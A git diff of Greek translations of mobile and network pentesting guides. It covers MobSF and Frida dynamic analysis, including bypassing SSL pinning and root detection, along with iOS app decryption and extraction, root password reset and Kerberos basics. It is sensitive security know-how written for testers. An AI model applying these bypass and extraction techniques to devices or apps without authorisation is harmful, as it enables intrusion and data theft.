+Ελέγξτε αν η εφαρμογή αποθηκεύει ευαίσθητες πληροφορίες μέσα στη μνήμη που δεν θα έπρεπε να αποθηκεύει, όπως κωδικούς πρόσβασης ή μνημονικά.
Χρησιμοποιώντας [**Fridump3**](https://github.com/rootbsd/fridump3) μπορείτε να κάνετε dump τη μνήμη της εφαρμογής με:
```bash
@@ -474,7 +474,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
+Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
### Βοηθητική Δυναμική ανάλυση με το MobSF
@@ -538,11 +538,11 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
**Frida**
-Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια σενάρια Frida για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
+Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
-Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα σενάρια Frida και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
-Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των σενάριων σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα σενάρια** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των σεναρίων μέσα στο "**Frida Live Logs**").
+Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και το "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
+Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
.png>)
@@ -559,7 +559,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
**Shell**
-Το MobSF σας παρέχει επίσης ένα shell με κάποιες εντολές **adb**, **εντολές MobSF**, και κοινές **εντολές shell** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
+Το MobSF σας παρέχει επίσης ένα shell με κάποιες **adb** εντολές, **MobSF commands**, και κοινές **shell** **εντολές** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
```bash
help
shell ls
@@ -576,7 +576,7 @@ receivers
Αφού ολοκληρώσετε την δυναμική ανάλυση με το MobSF, μπορείτε να πατήσετε το "**Start Web API Fuzzer**" για να **fuzz http αιτήματα** και να αναζητήσετε ευπάθειες.
> [!NOTE]
-> Μετά την εκτέλεση μιας δυναμικής ανάλυσης με το MobSF, οι ρυθμίσεις proxy μπορεί να είναι λανθασμένες και δεν θα μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy κάνοντας:
+> Μετά την εκτέλεση μιας δυναμικής ανάλυσης με το MobSF, οι ρυθμίσεις του proxy μπορεί να είναι λανθασμένες και δεν θα μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις του proxy κάνοντας:
>
> ```
> adb shell settings put global http_proxy :0
@@ -595,7 +595,7 @@ receivers
### [Qark](https://github.com/linkedin/qark)
-Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB εντολές**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής.
+Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB εντολές**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@@ -615,11 +615,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
-Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, που αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
+Το SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει αρχεία _.apk_ αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες.
-Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής θα μπορούσε να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
+Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
-Κατεβάστε τα τελευταία δυαδικά αρχεία από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html)
+Κατεβάστε τα τελευταία δυαδικά από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@@ -627,7 +627,7 @@ super-analyzer {apk_file}
.png>)
-Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, κυνηγούς bugbounty και ηθικούς χάκερ να εκτελούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε κινητές εφαρμογές.
+Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, κυνηγούς bug bounty και ηθικούς χάκερ να εκτελούν [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) σε κινητές εφαρμογές.
Η έννοια είναι ότι σύρετε και αποθέτετε το αρχείο της κινητής σας εφαρμογής (ένα αρχείο .apk ή .ipa) στην εφαρμογή StaCoAn και θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τις λίστες λέξεων για να αποκτήσετε μια εξατομικευμένη εμπειρία.
@@ -696,7 +696,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [DeGuard](http://apk-deguard.com)
-**Το DeGuard αναστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
+**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
@@ -706,15 +706,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [Simplify](https://github.com/CalebFenton/simplify)
-Είναι ένα **γενικό εργαλείο αποκωδικοποίησης android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** έτσι ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
+Είναι ένα **γενικό εργαλείο αποκωδικοποίησης android.** Το Simplify **εκτελεί εικονικά μια εφαρμογή** για να κατανοήσει τη συμπεριφορά της και στη συνέχεια **προσπαθεί να βελτιστοποιήσει τον κώδικα** ώστε να συμπεριφέρεται ταυτόχρονα αλλά να είναι πιο εύκολο για έναν άνθρωπο να κατανοήσει. Κάθε τύπος βελτιστοποίησης είναι απλός και γενικός, οπότε δεν έχει σημασία ποιος είναι ο συγκεκριμένος τύπος απόκρυψης που χρησιμοποιείται.
### [APKiD](https://github.com/rednaga/APKiD)
-Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **εργαλεία απόκρυψης** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
+Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
### Manual
-[Διαβάστε αυτό το tutorial για να μάθετε μερικά κόλπα σχετικά με **το πώς να αναστρέψετε την προσαρμοσμένη απόκρυψη**](manual-deobfuscation.md)
+[Διαβάστε αυτό το tutorial για να μάθετε μερικά κόλπα σχετικά με **το πώς να αντιστρέψετε την προσαρμοσμένη απόκρυψη**](manual-deobfuscation.md)
## Labs
diff --git a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
index b2e8ec8eb..b430c51de 100644
--- a/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
+++ b/src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md
@@ -21,7 +21,7 @@ $ ioreg -p IOUSB -l | grep "USB Serial"
$ brew install ideviceinstaller
$ idevice_id -l
```
-- **Χρησιμοποιώντας το `system_profiler`:**
+- **Χρησιμοποιώντας `system_profiler`:**
```bash
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
```
@@ -38,11 +38,11 @@ $ instruments -s devices
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
```
-**Εφαρμογές shell στη συσκευή**, όπως το NewTerm 2, διευκολύνουν την άμεση αλληλεπίδραση με τη συσκευή, ιδιαίτερα χρήσιμες για την αντιμετώπιση προβλημάτων. **Reverse SSH shells** μπορούν επίσης να δημιουργηθούν για απομακρυσμένη πρόσβαση από τον υπολογιστή-οικοδεσπότη.
+**Εφαρμογές shell στην συσκευή**, όπως το NewTerm 2, διευκολύνουν την άμεση αλληλεπίδραση με τη συσκευή, ιδιαίτερα χρήσιμες για την αποσφαλμάτωση. **Reverse SSH shells** μπορούν επίσης να δημιουργηθούν για απομακρυσμένη πρόσβαση από τον υπολογιστή-οικοδεσπότη.
### **Επαναφορά Ξεχασμένων Κωδικών Πρόσβασης**
-Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης στην προεπιλογή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος hash με το hash για `alpine` δίπλα στις εγγραφές χρηστών `root` και `mobile`.
+Για να επαναφέρετε έναν ξεχασμένο κωδικό πρόσβασης πίσω στην προεπιλογή (`alpine`), είναι απαραίτητο να επεξεργαστείτε το αρχείο `/private/etc/master.passwd`. Αυτό περιλαμβάνει την αντικατάσταση του υπάρχοντος hash με το hash για `alpine` δίπλα στις εγγραφές χρηστών `root` και `mobile`.
## **Τεχνικές Μεταφοράς Δεδομένων**
@@ -54,13 +54,13 @@ tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-
exit
scp -P 2222 root@localhost:/tmp/data.tgz .
```
-### **Εργαλεία Γραφικής Διεπαφής**
+### **Γραφικά Εργαλεία Διεπαφής Χρήστη**
-**Χρησιμοποιώντας το iFunbox και το iExplorer:** Αυτά τα εργαλεία GUI είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4, η Apple περιορίζει την πρόσβαση αυτών των εργαλείων στο sandbox της εφαρμογής εκτός αν η συσκευή είναι jailbroken.
+**Χρησιμοποιώντας το iFunbox και το iExplorer:** Αυτά τα εργαλεία GUI είναι χρήσιμα για τη διαχείριση αρχείων σε συσκευές iOS. Ωστόσο, από την έκδοση iOS 8.4, η Apple περιορίζει την πρόσβαση αυτών των εργαλείων στο sandbox εφαρμογών εκτός αν η συσκευή είναι jailbroken.
### **Χρησιμοποιώντας το Objection για Διαχείριση Αρχείων**
-**Διαδραστική Σκηνή με το Objection:** Η εκκίνηση του objection παρέχει πρόσβαση στον κατάλογο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον κατάλογο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και της αποστολής τους προς και από τη συσκευή iOS.
+**Διαδραστική Γραμμή Εντολών με το Objection:** Η εκκίνηση του objection παρέχει πρόσβαση στον κατάλογο Bundle μιας εφαρμογής. Από εδώ, μπορείτε να πλοηγηθείτε στον κατάλογο Documents της εφαρμογής και να διαχειριστείτε αρχεία, συμπεριλαμβανομένης της λήψης και της αποστολής τους προς και από τη συσκευή iOS.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@@ -70,7 +70,7 @@ file download
### **Απόκτηση του Αρχείου IPA**
-**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για δοκιμή μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο downloader περιουσιακών στοιχείων υπηρεσιών ITMS, το οποίο εγκαθίσταται μέσω npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
+**Σύνδεσμος Διανομής Over-The-Air (OTA):** Οι εφαρμογές που διανέμονται για δοκιμή μέσω OTA μπορούν να ληφθούν χρησιμοποιώντας το εργαλείο downloader asset των υπηρεσιών ITMS, το οποίο εγκαθίσταται μέσω npm και χρησιμοποιείται για να αποθηκεύσει το αρχείο IPA τοπικά.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
### **Διαδικασία Αποκρυπτογράφησης**
-**Επισκόπηση Χειροκίνητης Αποκρυπτογράφησης:** Τα δυαδικά αρχεία εφαρμογών iOS είναι κρυπτογραφημένα από την Apple χρησιμοποιώντας το FairPlay. Για να γίνει αντίστροφη μηχανική, πρέπει να γίνει dump του αποκρυπτογραφημένου δυαδικού αρχείου από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, την αναγνώριση της κρυπτογραφημένης ενότητας και στη συνέχεια την εξαγωγή και αντικατάσταση αυτής της ενότητας με τη μορφή της αποκρυπτογραφημένης.
+**Επισκόπηση Χειροκίνητης Αποκρυπτογράφησης:** Τα δυαδικά αρχεία εφαρμογών iOS είναι κρυπτογραφημένα από την Apple χρησιμοποιώντας FairPlay. Για να γίνει αντίστροφη μηχανική, πρέπει να γίνει dump του αποκρυπτογραφημένου δυαδικού αρχείου από τη μνήμη. Η διαδικασία αποκρυπτογράφησης περιλαμβάνει τον έλεγχο της σημαίας PIE, την προσαρμογή των σημαιών μνήμης, την αναγνώριση της κρυπτογραφημένης ενότητας και στη συνέχεια την εξαγωγή και αντικατάσταση αυτής της ενότητας με τη μορφή της αποκρυπτογράφησης.
**Έλεγχος και Τροποποίηση Σημαίας PIE:**
```bash
@@ -92,7 +92,7 @@ otool -Vh Hello_World
```
**Εντοπισμός Κρυπτογραφημένου Τμήματος και Εκχύλιση Μνήμης:**
-Καθορίστε τις διευθύνσεις αρχής και τέλους του κρυπτογραφημένου τμήματος χρησιμοποιώντας `otool` και εκχυλίστε τη μνήμη από τη jailbroken συσκευή χρησιμοποιώντας gdb.
+Καθορίστε τις διευθύνσεις έναρξης και λήξης του κρυπτογραφημένου τμήματος χρησιμοποιώντας `otool` και εκχυλίστε τη μνήμη από τη jailbroken συσκευή χρησιμοποιώντας gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
@@ -103,27 +103,27 @@ dump memory dump.bin 0x8000 0x10a4000
```bash
dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App
```
-**Ολοκλήρωση Αποκρυπτογράφησης:** Τροποποιήστε τα μεταδεδομένα του δυαδικού αρχείου για να υποδείξετε την απουσία κρυπτογράφησης χρησιμοποιώντας εργαλεία όπως το **MachOView**, ρυθμίζοντας το `cryptid` σε 0.
+**Τελικοί Σταθμοί Αποκρυπτογράφησης:** Τροποποιήστε τα μεταδεδομένα του δυαδικού αρχείου για να υποδείξετε την απουσία κρυπτογράφησης χρησιμοποιώντας εργαλεία όπως το **MachOView**, ρυθμίζοντας το `cryptid` σε 0.
### **Αποκρυπτογράφηση (Αυτόματα)**
#### **frida-ios-dump**
-Το [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) εργαλείο χρησιμοποιείται για **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμιστεί το `dump.py` για να συνδεθεί με τη συσκευή iOS, κάτι που μπορεί να γίνει μέσω localhost στη θύρα 2222 μέσω **iproxy** ή απευθείας μέσω της διεύθυνσης IP της συσκευής και της θύρας.
+Το [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) εργαλείο χρησιμοποιείται για **αυτόματη αποκρυπτογράφηση και εξαγωγή εφαρμογών** από συσκευές iOS. Αρχικά, πρέπει να ρυθμιστεί το `dump.py` για να συνδεθεί με τη συσκευή iOS, κάτι που μπορεί να γίνει μέσω localhost στην πόρτα 2222 μέσω **iproxy** ή απευθείας μέσω της διεύθυνσης IP της συσκευής και της πόρτας.
Οι εφαρμογές που είναι εγκατεστημένες στη συσκευή μπορούν να απαριθμηθούν με την εντολή:
```bash
$ python dump.py -l
```
-Για να εκτελέσετε dump μιας συγκεκριμένης εφαρμογής, όπως το Telegram, χρησιμοποιείται η εξής εντολή:
+Για να εκχυλίσετε μια συγκεκριμένη εφαρμογή, όπως το Telegram, χρησιμοποιείται η εξής εντολή:
```bash
$ python3 dump.py -u "root" -p "" ph.telegra.Telegraph
```
-Αυτή η εντολή ξεκινά τη διαδικασία dump της εφαρμογής, με αποτέλεσμα τη δημιουργία ενός αρχείου `Telegram.ipa` στον τρέχοντα φάκελο. Αυτή η διαδικασία είναι κατάλληλη για jailbroken συσκευές, καθώς οι μη υπογεγραμμένες ή ψευδώς υπογεγραμμένες εφαρμογές μπορούν να επανεγκατασταθούν χρησιμοποιώντας εργαλεία όπως το [**ios-deploy**](https://github.com/ios-control/ios-deploy).
+Αυτή η εντολή ξεκινά τη διαδικασία εξαγωγής της εφαρμογής, με αποτέλεσμα τη δημιουργία ενός αρχείου `Telegram.ipa` στον τρέχοντα φάκελο. Αυτή η διαδικασία είναι κατάλληλη για jailbroken συσκευές, καθώς οι μη υπογεγραμμένες ή ψευδώς υπογεγραμμένες εφαρμογές μπορούν να επανεγκατασταθούν χρησιμοποιώντας εργαλεία όπως το [**ios-deploy**](https://github.com/ios-control/ios-deploy).
#### **flexdecrypt**
-Το [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) εργαλείο, μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν τη λήψη και εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για να καταγράψει και να εξάγει εφαρμογές, όπως φαίνεται στις παρακάτω εντολές:
+Το εργαλείο [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), μαζί με το wrapper του [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), επιτρέπει την εξαγωγή αρχείων IPA από εγκατεστημένες εφαρμογές. Οι εντολές εγκατάστασης για το **flexdecrypt** στη συσκευή περιλαμβάνουν τη λήψη και εγκατάσταση του πακέτου `.deb`. Το **flexdump** μπορεί να χρησιμοποιηθεί για να καταγράψει και να εξάγει εφαρμογές, όπως φαίνεται στις παρακάτω εντολές:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@@ -138,7 +138,7 @@ bagbak --raw Chrome
```
#### **r2flutch**
-**r2flutch**, χρησιμοποιώντας τόσο το radare όσο και το frida, εξυπηρετεί για την αποκρυπτογράφηση και την εξαγωγή εφαρμογών. Περισσότερες πληροφορίες μπορείτε να βρείτε στη [**σελίδα GitHub**](https://github.com/as0ler/r2flutch).
+**r2flutch**, αξιοποιώντας τόσο το radare όσο και το frida, χρησιμοποιείται για την αποκρυπτογράφηση και την εξαγωγή εφαρμογών. Περισσότερες πληροφορίες μπορείτε να βρείτε στη [**σελίδα GitHub**](https://github.com/as0ler/r2flutch).
### **Εγκατάσταση Εφαρμογών**
@@ -158,13 +158,13 @@ bagbak --raw Chrome
#### **Επιτρέψτε την Εγκατάσταση Εφαρμογών σε Συσκευές που δεν είναι iPad**
-Για να εγκαταστήσετε εφαρμογές που είναι ειδικές για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Αυτή η τροποποίηση, ωστόσο, απαιτεί την επαναυπογραφή του αρχείου IPA λόγω ελέγχων επικύρωσης υπογραφής.
+Για να εγκαταστήσετε εφαρμογές που προορίζονται για iPad σε συσκευές iPhone ή iPod touch, η τιμή **UIDeviceFamily** στο αρχείο **Info.plist** πρέπει να αλλάξει σε **1**. Αυτή η τροποποίηση, ωστόσο, απαιτεί την επαναυπογραφή του αρχείου IPA λόγω ελέγχων επικύρωσης υπογραφής.
**Σημείωση**: Αυτή η μέθοδος μπορεί να αποτύχει αν η εφαρμογή απαιτεί δυνατότητες που είναι αποκλειστικές για νεότερα μοντέλα iPad ενώ χρησιμοποιείτε παλαιότερο iPhone ή iPod touch.
## Αναφορές
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md
index 769aa6d8f..2c1eca035 100644
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@@ -6,16 +6,16 @@
**Kerberos** λειτουργεί με μια αρχή όπου αυθεντικοποιεί τους χρήστες χωρίς να διαχειρίζεται άμεσα την πρόσβασή τους σε πόρους. Αυτή είναι μια σημαντική διάκριση γιατί υπογραμμίζει τον ρόλο του πρωτοκόλλου σε πλαίσια ασφάλειας.
-Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, που είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
+Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, ο οποίος είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας.
-Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
+Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα.
**Default Port:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
